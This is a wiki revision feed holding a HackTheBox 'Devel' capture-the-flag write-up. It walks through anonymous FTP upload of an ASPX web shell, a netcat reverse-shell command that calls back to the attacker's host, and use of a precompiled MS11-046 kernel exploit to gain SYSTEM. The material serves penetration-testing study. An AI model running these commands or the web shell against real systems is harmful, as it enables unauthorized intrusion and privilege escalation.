<?xml version="1.0"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="en">
	<id>https://book.ghanim.no/index.php?action=history&amp;feed=atom&amp;title=Write-ups%2FHTB%2FDevel</id>
	<title>Write-ups/HTB/Devel - Revision history</title>
	<link rel="self" type="application/atom+xml" href="https://book.ghanim.no/index.php?action=history&amp;feed=atom&amp;title=Write-ups%2FHTB%2FDevel"/>
	<link rel="alternate" type="text/html" href="https://book.ghanim.no/index.php?title=Write-ups/HTB/Devel&amp;action=history"/>
	<updated>2026-04-21T15:22:13Z</updated>
	<subtitle>Revision history for this page on the wiki</subtitle>
	<generator>MediaWiki 1.45.1</generator>
	<entry>
		<id>https://book.ghanim.no/index.php?title=Write-ups/HTB/Devel&amp;diff=1176&amp;oldid=prev</id>
		<title>imported&gt;Aghanim at 21:58, 14 January 2022</title>
		<link rel="alternate" type="text/html" href="https://book.ghanim.no/index.php?title=Write-ups/HTB/Devel&amp;diff=1176&amp;oldid=prev"/>
		<updated>2022-01-14T21:58:34Z</updated>

		<summary type="html">&lt;p&gt;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;New page&lt;/b&gt;&lt;/p&gt;&lt;div&gt;{{Infobox WriteUp&lt;br /&gt;
| name = Devel&lt;br /&gt;
| platform = HackTheBox&lt;br /&gt;
| os = Windows&lt;br /&gt;
| difficulty = Easy&lt;br /&gt;
| techniques = FTP, IIS, Kernel Exploit&lt;br /&gt;
}}&lt;br /&gt;
&lt;br /&gt;
[[File:2022-01-image-98.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
One my weakest link in penetration testing is Windows Privilege Escalation. I had alot of trouble escalating my privilege on this box. Anyways, this box had two ports open. Port &amp;#039;&amp;#039;&amp;#039;21 &amp;#039;&amp;#039;&amp;#039;and &amp;#039;&amp;#039;&amp;#039;80&amp;#039;&amp;#039;&amp;#039;. FTP allowed anonymous login, and it was writeable. FTP share pointed to the webservers location, so it would be possible to get reverse shell easily on this box. Rooting this was was easy aswell as there many missing KB&amp;#039;s.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Enumeration ==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
I start with an NMAP scan. Here port 21 and port 80 were open. The webserver had nothing interesting on it. It just showed the default IIS webpage. But the interesting port here is FTP, which allow anonymous login.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
┌──(root💀kali)-[/home/aghanim/Desktop/HTB/devel]&lt;br /&gt;
└─# cat nmap.result&lt;br /&gt;
# Nmap 7.92 scan initiated Wed Jan 12 15:22:48 2022 as: nmap -sC -sV -p- --min-rate 10000 -oN nmap.result 10.10.10.5&lt;br /&gt;
Nmap scan report for 10.10.10.5&lt;br /&gt;
Host is up (0.054s latency).&lt;br /&gt;
Not shown: 65533 filtered tcp ports (no-response)&lt;br /&gt;
PORT   STATE SERVICE VERSION&lt;br /&gt;
21/tcp open  ftp     Microsoft ftpd&lt;br /&gt;
| ftp-anon: Anonymous FTP login allowed (FTP code 230)&lt;br /&gt;
| 03-18-17  01:06AM                 aspnet_client&lt;br /&gt;
| 03-17-17  04:37PM                  689 iisstart.htm&lt;br /&gt;
|_03-17-17  04:37PM               184946 welcome.png&lt;br /&gt;
| ftp-syst:&lt;br /&gt;
|_  SYST: Windows_NT&lt;br /&gt;
80/tcp open  http    Microsoft IIS httpd 7.5&lt;br /&gt;
| http-methods:&lt;br /&gt;
|_  Potentially risky methods: TRACE&lt;br /&gt;
|_http-server-header: Microsoft-IIS/7.5&lt;br /&gt;
|_http-title: IIS7&lt;br /&gt;
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows&lt;br /&gt;
&lt;br /&gt;
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .&lt;br /&gt;
# Nmap done at Wed Jan 12 15:23:09 2022 -- 1 IP address (1 host up) scanned in 21.33 seconds&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== FTP ===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Loggin in to &amp;#039;&amp;#039;&amp;#039;FTP&amp;#039;&amp;#039;&amp;#039;.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
┌──(root💀kali)-[/home/aghanim/Desktop/HTB/devel]&lt;br /&gt;
└─# ftp 10.10.10.5                                                                                                                                                                                                                      1 ⨯&lt;br /&gt;
Connected to 10.10.10.5.&lt;br /&gt;
220 Microsoft FTP Service&lt;br /&gt;
Name (10.10.10.5:aghanim): anonymous&lt;br /&gt;
331 Anonymous access allowed, send identity (e-mail name) as password.&lt;br /&gt;
Password:&lt;br /&gt;
230 User logged in.&lt;br /&gt;
Remote system type is Windows_NT.&lt;br /&gt;
ftp&amp;gt; ls&lt;br /&gt;
200 PORT command successful.&lt;br /&gt;
125 Data connection already open; Transfer starting.&lt;br /&gt;
03-18-17  01:06AM                 aspnet_client&lt;br /&gt;
&lt;br /&gt;
03-17-17  04:37PM                  689 iisstart.htm&lt;br /&gt;
&lt;br /&gt;
03-17-17  04:37PM               184946 welcome.png&lt;br /&gt;
226 Transfer complete.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Dir bruteforce - ferox ===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Nothing interesting in any of the DIRs. Doing a quick &amp;#039;&amp;#039;&amp;#039;feroxbuster&amp;#039;&amp;#039;&amp;#039; scan.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
┌──(root💀kali)-[/home/aghanim/Desktop/HTB/devel]&lt;br /&gt;
└─# feroxbuster --url http://10.10.10.5/aspnet_client --depth 3 -f&lt;br /&gt;
&lt;br /&gt;
 ___  ___  __   __     __      __         __   ___&lt;br /&gt;
|__  |__  |__) |__) | /  `    /  \ \_/ | |  \ |__&lt;br /&gt;
|    |___ |  \ |  \ | \__,    \__/ / \ | |__/ |___&lt;br /&gt;
by Ben &amp;quot;epi&amp;quot; Risher 🤓                 ver: 2.4.1&lt;br /&gt;
───────────────────────────┬──────────────────────&lt;br /&gt;
 🎯  Target Url            │ http://10.10.10.5/aspnet_client&lt;br /&gt;
 🚀  Threads               │ 50&lt;br /&gt;
 📖  Wordlist              │ /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt&lt;br /&gt;
 👌  Status Codes          │ [200, 204, 301, 302, 307, 308, 401, 403, 405, 500]&lt;br /&gt;
 💥  Timeout (secs)        │ 7&lt;br /&gt;
 🦡  User-Agent            │ feroxbuster/2.4.1&lt;br /&gt;
 💉  Config File           │ /etc/feroxbuster/ferox-config.toml&lt;br /&gt;
 🪓  Add Slash             │ true&lt;br /&gt;
 🔃  Recursion Depth       │ 3&lt;br /&gt;
───────────────────────────┴──────────────────────&lt;br /&gt;
 🏁  Press [ENTER] to use the Scan Management Menu™&lt;br /&gt;
──────────────────────────────────────────────────&lt;br /&gt;
403       29l       92w     1233c http://10.10.10.5/aspnet_client/system_web/&lt;br /&gt;
[####################] - 33s    59998/59998   0s      found:1       errors:0&lt;br /&gt;
[####################] - 21s    29999/29999   1422/s  http://10.10.10.5/aspnet_client&lt;br /&gt;
[####################] - 22s    29999/29999   1355/s  http://10.10.10.5/aspnet_client/system_web/&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
So it looks like the FTP is sharing the webserver location. We can try to upload a file to see if we have write permission.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
ftp&amp;gt; put test.txt&lt;br /&gt;
local: test.txt remote: test.txt&lt;br /&gt;
200 PORT command successful.&lt;br /&gt;
150 Opening ASCII mode data connection.&lt;br /&gt;
226 Transfer complete.&lt;br /&gt;
ftp&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Since we have write permission we could try and upload a backdoor to FTP. I&amp;#039;ll use the backdoor which is located in Kali. /usr/share/davtest/backdoors/aspx_cmd.aspx, and visiting the website with &amp;#039;&amp;#039;&amp;#039;/cmd.aspx. &amp;#039;&amp;#039;&amp;#039;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[File:2022-01-image-99.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
And we have command exection.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Initial Access ==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== impacket-smbserver.py ===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Since this is a Windows box, it does not have netcat natively installed. What we will do is setup an SMB share using &amp;#039;&amp;#039;&amp;#039;impackets smbserver.py&amp;#039;&amp;#039;&amp;#039;, and share the &amp;#039;&amp;#039;&amp;#039;nc.exe&amp;#039;&amp;#039;&amp;#039;.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
So first, create a share and start smbserver.py where nc.exe is located.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
┌──(root💀kali)-[/home/aghanim/Desktop/HTB/devel]&lt;br /&gt;
└─# smbserver.py share /home/aghanim/Desktop/HTB/devel&lt;br /&gt;
Impacket v0.9.25.dev1+20220105.151306.10e53952 - Copyright 2021 SecureAuth Corporation&lt;br /&gt;
&lt;br /&gt;
[*] Config file parsed&lt;br /&gt;
[*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0&lt;br /&gt;
[*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0&lt;br /&gt;
[*] Config file parsed&lt;br /&gt;
[*] Config file parsed&lt;br /&gt;
[*] Config file parsed&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
No, start a &amp;#039;&amp;#039;&amp;#039;netcat &amp;#039;&amp;#039;&amp;#039;listener. I&amp;#039;ll use &amp;#039;&amp;#039;&amp;#039;rlwrap&amp;#039;&amp;#039;&amp;#039; because this is a Windows.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
From my previous TryHackMe notes:&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;gt;&lt;br /&gt;
rlwrap gives us access to history, tab autocompletion and the arrow keys immediately upon receiving a shell. Some manual stabilizaition must be utilised if you want to use ctrl+c. Not installed by default.&lt;br /&gt;
&lt;br /&gt;
Syntax for rlwrap:&lt;br /&gt;
&lt;br /&gt;
rlwrap nc -lvnp&lt;br /&gt;
This technique is very useful when dealing with Windows shells, as they tend to be very difficult to stabilize.&lt;br /&gt;
https://blog.aghanim.net/?p=1043&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
So we&amp;#039;ll use the command. Execute this command on the webserver to give us reverse shell.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
\\10.10.14.17\share\nc.exe -e cmd.exe 10.10.14.17 4444&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Looking at our listener we have a connection.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
┌──(root💀kali)-[/home/aghanim]&lt;br /&gt;
└─# rlwrap nc -lvnp 4444&lt;br /&gt;
listening on [any] 4444 ...&lt;br /&gt;
connect to [10.10.14.17] from (UNKNOWN) [10.10.10.5] 49171&lt;br /&gt;
Microsoft Windows [Version 6.1.7600]&lt;br /&gt;
Copyright (c) 2009 Microsoft Corporation.  All rights reserved.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Enumerate the machine ===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Doing some enumeration on the Windows box. Running the &amp;#039;&amp;#039;&amp;#039;systeminfo &amp;#039;&amp;#039;&amp;#039;command we get some information about the machine. So we know this is a Windows 7 box, its a x86 based, even though the CPU is x64, installed KBs is N/A. Thats interesting as there might be some vulnerabilites we could abuse.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
systeminfo&lt;br /&gt;
systeminfo&lt;br /&gt;
&lt;br /&gt;
Host Name:                 DEVEL&lt;br /&gt;
OS Name:                   Microsoft Windows 7 Enterprise&lt;br /&gt;
OS Version:                6.1.7600 N/A Build 7600&lt;br /&gt;
OS Manufacturer:           Microsoft Corporation&lt;br /&gt;
OS Configuration:          Standalone Workstation&lt;br /&gt;
OS Build Type:             Multiprocessor Free&lt;br /&gt;
Registered Owner:          babis&lt;br /&gt;
Registered Organization:&lt;br /&gt;
Product ID:                55041-051-0948536-86302&lt;br /&gt;
Original Install Date:     17/3/2017, 4:17:31 ��&lt;br /&gt;
System Boot Time:          14/1/2022, 9:14:06 ��&lt;br /&gt;
System Manufacturer:       VMware, Inc.&lt;br /&gt;
System Model:              VMware Virtual Platform&lt;br /&gt;
System Type:               X86-based PC&lt;br /&gt;
Processor(s):              1 Processor(s) Installed.&lt;br /&gt;
                           [01]: x64 Family 23 Model 1 Stepping 2 AuthenticAMD ~2000 Mhz&lt;br /&gt;
BIOS Version:              Phoenix Technologies LTD 6.00, 12/12/2018&lt;br /&gt;
Windows Directory:         C:\Windows&lt;br /&gt;
System Directory:          C:\Windows\system32&lt;br /&gt;
Boot Device:               \Device\HarddiskVolume1&lt;br /&gt;
System Locale:             el;Greek&lt;br /&gt;
Input Locale:              en-us;English (United States)&lt;br /&gt;
Time Zone:                 (UTC+02:00) Athens, Bucharest, Istanbul&lt;br /&gt;
Total Physical Memory:     3.071 MB&lt;br /&gt;
Available Physical Memory: 2.440 MB&lt;br /&gt;
Virtual Memory: Max Size:  6.141 MB&lt;br /&gt;
Virtual Memory: Available: 5.508 MB&lt;br /&gt;
Virtual Memory: In Use:    633 MB&lt;br /&gt;
Page File Location(s):     C:\pagefile.sys&lt;br /&gt;
Domain:                    HTB&lt;br /&gt;
Logon Server:              N/A&lt;br /&gt;
Hotfix(s):                 N/A&lt;br /&gt;
Network Card(s):           1 NIC(s) Installed.&lt;br /&gt;
                           [01]: vmxnet3 Ethernet Adapter&lt;br /&gt;
                                 Connection Name: Local Area Connection 3&lt;br /&gt;
                                 DHCP Enabled:    No&lt;br /&gt;
                                 IP address(es)&lt;br /&gt;
                                 [01]: 10.10.10.5&lt;br /&gt;
                                 [02]: fe80::58c0:f1cf:abc6:bb9e&lt;br /&gt;
                                 [03]: dead:beef::24c&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Trying to list availabe KBs I couldnt find anything. Maybe no KBs have been installed&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
wmic qfe get Caption,Description,HotFixID,InstalledOn&lt;br /&gt;
No Instance(s) Available.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
There are also two users, &amp;#039;&amp;#039;&amp;#039;Administrator &amp;#039;&amp;#039;&amp;#039;and &amp;#039;&amp;#039;&amp;#039;Babis. &amp;#039;&amp;#039;&amp;#039;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
net users&lt;br /&gt;
&lt;br /&gt;
User accounts for \\&lt;br /&gt;
&lt;br /&gt;
-------------------------------------------------------------------------------&lt;br /&gt;
Administrator            babis                    Guest&lt;br /&gt;
The command completed with one or more errors.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Privilege Escalation ==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Watson ===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
I will use &amp;#039;&amp;#039;&amp;#039;[https://github.com/rasta-mouse/Watson rasta-mouse/watson] &amp;#039;&amp;#039;&amp;#039;script to search for missing KBs and vulnerabilites. There are however a couple of things that needs to be done before we&amp;#039;re able to run this scripts.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
* The script is for Windows 10. There are however older commits for the watson script we could use. * We need to know the &amp;#039;&amp;#039;&amp;#039;.NET &amp;#039;&amp;#039;&amp;#039;version of the machine. * We need to compile Watson with the correct paramteres using Visual Studios. As I dont have that installed on my Kali, I&amp;#039;ll use my Windows host.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Find the .NET version of the machine ===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
So first, lets find out the .NET version of the machine. We can use this command.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
reg query &amp;quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\NET Framework Setup\NDP&amp;quot;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
And the output.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
reg query &amp;quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\NET Framework Setup\NDP&amp;quot;&lt;br /&gt;
&lt;br /&gt;
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\NET Framework Setup\NDP\v2.0.50727&lt;br /&gt;
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\NET Framework Setup\NDP\v3.0&lt;br /&gt;
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\NET Framework Setup\NDP\v3.5&lt;br /&gt;
&lt;br /&gt;
c:\windows\system32\inetsrv&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Compile the correct version with Visual Studios ===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
So this machine use &amp;#039;&amp;#039;&amp;#039;.NET ver 3.5&amp;#039;&amp;#039;&amp;#039;.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Download the [https://github.com/rasta-mouse/Watson/tree/efb7cfa547492e7b631cacc0db18bb0cfd2de3bd correct version of Watson]that allows us to run on Windows 7 and then open the &amp;#039;&amp;#039;&amp;#039;Watson.sln &amp;#039;&amp;#039;&amp;#039;in Visual Studios.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Go to Watson --&amp;gt; Properties and change the Target Framework to .NET Framework 3.5.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[File:2022-01-image-100.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Then, go to Build --&amp;gt; Configuration Manager and change the platform to x86.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[File:2022-01-image-101.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Lastely, go to Build --&amp;gt; Build Watson.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[File:2022-01-image-102.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
And the output should be:&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[File:2022-01-image-103.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
I transferred the file to my Kali machine using python HTTP server, and as I did earlier with the &amp;#039;&amp;#039;&amp;#039;nc.exe&amp;#039;&amp;#039;&amp;#039;, I&amp;#039;ll do the same here.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
\\10.10.14.17\share\Watson.exe&lt;br /&gt;
\\10.10.14.17\share\Watson.exe&lt;br /&gt;
  __    __      _&lt;br /&gt;
 / / /\ \ \__ _| |_ ___  ___  _ __&lt;br /&gt;
 \ \/  \/ / _` | __/ __|/ _ \| &amp;#039;_ \&lt;br /&gt;
  \  /\  / (_| | |_\__ \ (_) | | | |&lt;br /&gt;
   \/  \/ \__,_|\__|___/\___/|_| |_|&lt;br /&gt;
&lt;br /&gt;
                           v0.1&lt;br /&gt;
&lt;br /&gt;
                  Sherlock sucks...&lt;br /&gt;
                   @_RastaMouse&lt;br /&gt;
&lt;br /&gt;
 [*] OS Build number: 7600&lt;br /&gt;
 [*] CPU Address Width: 32&lt;br /&gt;
 [*] Processs IntPtr Size: 4&lt;br /&gt;
 [*] Using Windows path: C:\WINDOWS\System32&lt;br /&gt;
&lt;br /&gt;
  [*] Appears vulnerable to MS10-073&lt;br /&gt;
   [&amp;gt;] Description: Kernel-mode drivers load unspecified keyboard layers improperly, which result in arbitrary code execution in the kernel.&lt;br /&gt;
   [&amp;gt;] Exploit: https://www.exploit-db.com/exploits/36327/&lt;br /&gt;
   [&amp;gt;] Notes: None.&lt;br /&gt;
&lt;br /&gt;
  [*] Appears vulnerable to MS10-092&lt;br /&gt;
   [&amp;gt;] Description: When processing task files, the Windows Task Scheduler only uses a CRC32 checksum to validate that the file has not been tampered with.Also, In a default configuration, normal users can read and write the task files that they have created.By modifying the task file and creating a CRC32 collision, an attacker can execute arbitrary commands with SYSTEM privileges.&lt;br /&gt;
   [&amp;gt;] Exploit: https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/windows/local/ms10_092_schelevator.rb&lt;br /&gt;
   [&amp;gt;] Notes: None.&lt;br /&gt;
&lt;br /&gt;
  [*] Appears vulnerable to MS11-046&lt;br /&gt;
   [&amp;gt;] Description: The Ancillary Function Driver (AFD) in afd.sys does not properly validate user-mode input, which allows local users to elevate privileges.&lt;br /&gt;
   [&amp;gt;] Exploit: https://www.exploit-db.com/exploits/40564/&lt;br /&gt;
   [&amp;gt;] Notes: None.&lt;br /&gt;
&lt;br /&gt;
  [*] Appears vulnerable to MS12-042&lt;br /&gt;
   [&amp;gt;] Description: An EoP exists due to the way the Windows User Mode Scheduler handles system requests, which can be exploited to execute arbitrary code in kernel mode.&lt;br /&gt;
   [&amp;gt;] Exploit: https://www.exploit-db.com/exploits/20861/&lt;br /&gt;
   [&amp;gt;] Notes: None.&lt;br /&gt;
&lt;br /&gt;
  [*] Appears vulnerable to MS13-005&lt;br /&gt;
   [&amp;gt;] Description: Due to a problem with isolating window broadcast messages in the Windows kernel, an attacker can broadcast commands from a lower Integrity Level process to a higher Integrity Level process, thereby effecting a privilege escalation.&lt;br /&gt;
   [&amp;gt;] Exploit: https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/windows/local/ms13_005_hwnd_broadcast.rb&lt;br /&gt;
   [&amp;gt;] Notes: None.&lt;br /&gt;
&lt;br /&gt;
 [*] Finished. Found 5 vulns :)&lt;br /&gt;
&lt;br /&gt;
c:\windows\system32\inetsrv&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== MS11-046 ===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Right off the bat I can see there is a privilege escalation vulnerability on this machine.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;#039;&amp;#039; Description: The Ancillary Function Driver (AFD) in afd.sys does not properly validate user-mode input, which allows local users to elevate privileges. &amp;#039;&amp;#039;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
I used [https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS11-046 Windows-Kernel-exploits] precompiled exe file and ran it on the target machine.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
\\10.10.14.17\share\MS11-046.exe&lt;br /&gt;
\\10.10.14.17\share\MS11-046.exe&lt;br /&gt;
&lt;br /&gt;
whoami&lt;br /&gt;
whoami&lt;br /&gt;
nt authority\system&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== What I&amp;#039;ve learned ==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
* Always enumerate harder as they say. Try not to assume to much and instead get verification that the system is vulnerable.* Not all scripts will work out of the box. Some will have to be tweaked to work on ther target machine. * When compiling scripts for Windows, always check target OS architecture. * rlwrap is better to use than netcat when target is Windows. * I really need to build a good methodology.&lt;br /&gt;
&lt;br /&gt;
[[Category:HackTheBox]]&lt;br /&gt;
[[Category:Windows]]&lt;br /&gt;
[[Category:Write-ups]]&lt;/div&gt;</summary>
		<author><name>imported&gt;Aghanim</name></author>
	</entry>
</feed>